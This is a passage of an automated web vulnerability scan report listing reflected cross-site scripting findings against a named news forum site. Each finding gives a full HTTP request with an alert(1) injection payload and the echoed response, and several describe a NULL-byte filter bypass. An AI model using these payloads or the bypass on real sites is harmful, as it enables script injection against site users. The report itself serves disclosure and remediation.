Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forums/syndication/jsonXmlToHtml.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dae6d"-alert(1)-"6579eb870fb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /forumsdae6d"-alert(1)-"6579eb870fb/syndication/jsonXmlToHtml.js HTTP/1.1
Accept: */*
Referer: http://www.mercurynews.com/opinion
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: forums.mercurynews.com
Proxy-Connection: Keep-Alive
Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507; ZZRDB162,570,21=1; ZZFLSH=29; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 01:53:42 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 01:54:06 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Content-Type: text/html; charset=utf-8
Content-Length: 22150

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
nguage="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forumsdae6d"-alert(1)-"6579eb870fb/syndication/jsonXmlToHtml.js";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.
...[SNIP]...

1.31. http://forums.mercurynews.com/forums/syndication/jsonXmlToHtml.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forums/syndication/jsonXmlToHtml.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload %0038e10"-alert(1)-"50952c2689f was submitted in the REST URL parameter 2. This input was echoed as 38e10"-alert(1)-"50952c2689f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /forums/syndication%0038e10"-alert(1)-"50952c2689f/jsonXmlToHtml.js HTTP/1.1
Accept: */*
Referer: http://www.mercurynews.com/opinion
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: forums.mercurynews.com
Proxy-Connection: Keep-Alive
Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507; ZZRDB162,570,21=1; ZZFLSH=29; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 01:54:03 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 01:54:27 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Content-Type: text/html; charset=utf-8
Content-Length: 22087

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
ipt">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forums/syndication%0038e10"-alert(1)-"50952c2689f/jsonXmlToHtml.js";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s
...[SNIP]...

1.32. http://forums.mercurynews.com/forums/syndication/jsonXmlToHtml.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forums/syndication/jsonXmlToHtml.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload %00db1dc"-alert(1)-"884372cd347 was submitted in the REST URL parameter 3. This input was echoed as db1dc"-alert(1)-"884372cd347 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /forums/syndication/jsonXmlToHtml.js%00db1dc"-alert(1)-"884372cd347 HTTP/1.1
Accept: */*
Referer: http://www.mercurynews.com/opinion
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: forums.mercurynews.com
Proxy-Connection: Keep-Alive
Cookie: s_cc=true; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507; ZZRDB162,570,21=1; ZZFLSH=29; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 01:54:09 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 01:54:33 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Content-Type: text/html; charset=utf-8
Content-Length: 22087

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forums/syndication/jsonXmlToHtml.js%00db1dc"-alert(1)-"884372cd347";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

1.33. http://forums.mercurynews.com/jrss/forum/602/5 [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /jrss/forum/602/5

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ea44e"-alert(1)-"b9cbcd4d1f1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /jrssea44e"-alert(1)-"b9cbcd4d1f1/forum/602/5 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:00 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:24 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22114

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
language="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / jrssea44e"-alert(1)-"b9cbcd4d1f1/forum/602/5";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.camp
...[SNIP]...

1.34. http://forums.mercurynews.com/jrss/forum/602/5 [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /jrss/forum/602/5

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 861fb"-alert(1)-"f033e721dd3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /jrss/forum861fb"-alert(1)-"f033e721dd3/602/5 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:14 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:38 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22114

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
ge="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / jrss/forum861fb"-alert(1)-"f033e721dd3/602/5";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=g
...[SNIP]...

1.35. http://forums.mercurynews.com/jrss/forum/602/5 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /jrss/forum/602/5

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload abcc9"-alert(1)-"c5da668924b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /jrss/forum/602abcc9"-alert(1)-"c5da668924b/5 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:07:26 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:50 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22117

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / jrss/forum/602abcc9"-alert(1)-"c5da668924b/5";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCi
...[SNIP]...

1.36. http://forums.mercurynews.com/poll [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /poll

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6ddeb"-alert(1)-"d654b8caae1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /poll6ddeb"-alert(1)-"d654b8caae1 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:05:52 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:06:16 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22084

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
language="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / poll6ddeb"-alert(1)-"d654b8caae1";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

1.37. http://forums.mercurynews.com/poll [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /poll

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 617c4"-alert(1)-"5f42983c31b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /poll?617c4"-alert(1)-"5f42983c31b=1 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 02:05:42 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:06:06 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19326

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
anguage="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / poll?617c4"-alert(1)-"5f42983c31b=1";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCi
...[SNIP]...

1.38. http://forums.mercurynews.com/poll/are-medical-marijuana-clubs-a-huge-problem-in-santa-clara-county [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /poll/are-medical-marijuana-clubs-a-huge-problem-in-santa-clara-county

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 266bd"-alert(1)-"bf4e6a9d30d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /poll266bd"-alert(1)-"bf4e6a9d30d/are-medical-marijuana-clubs-a-huge-problem-in-santa-clara-county HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:05:59 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:06:23 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22216

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
language="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / poll266bd"-alert(1)-"bf4e6a9d30d/are-medical-marijuana-clubs-a-huge-problem-in-santa-clara-county";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=get
...[SNIP]...

1.39. http://forums.mercurynews.com/poll/are-medical-marijuana-clubs-a-huge-problem-in-santa-clara-county [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /poll/are-medical-marijuana-clubs-a-huge-problem-in-santa-clara-county

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2f844"-alert(1)-"3df5df2d371 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /poll/are-medical-marijuana-clubs-a-huge-problem-in-santa-clara-county2f844"-alert(1)-"3df5df2d371 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 02:06:03 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:06:27 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20220

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / poll/are-medical-marijuana-clubs-a-huge-problem-in-santa-clara-county2f844"-alert(1)-"3df5df2d371";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

1.40. http://forums.mercurynews.com/poll/are-medical-marijuana-clubs-a-huge-problem-in-santa-clara-county [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /poll/are-medical-marijuana-clubs-a-huge-problem-in-santa-clara-county

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b1bf3"-alert(1)-"01dc7af58ce was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /poll/are-medical-marijuana-clubs-a-huge-problem-in-santa-clara-county?b1bf3"-alert(1)-"01dc7af58ce=1 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 02:05:54 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:06:18 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 28628

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
"";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / poll/are-medical-marijuana-clubs-a-huge-problem-in-santa-clara-county?b1bf3"-alert(1)-"01dc7af58ce=1";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCi
...[SNIP]...

1.41. http://forums.mercurynews.com/syndication/jsonXmlToHtml.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /syndication/jsonXmlToHtml.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 72dff"-alert(1)-"3eb0ed22cc2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

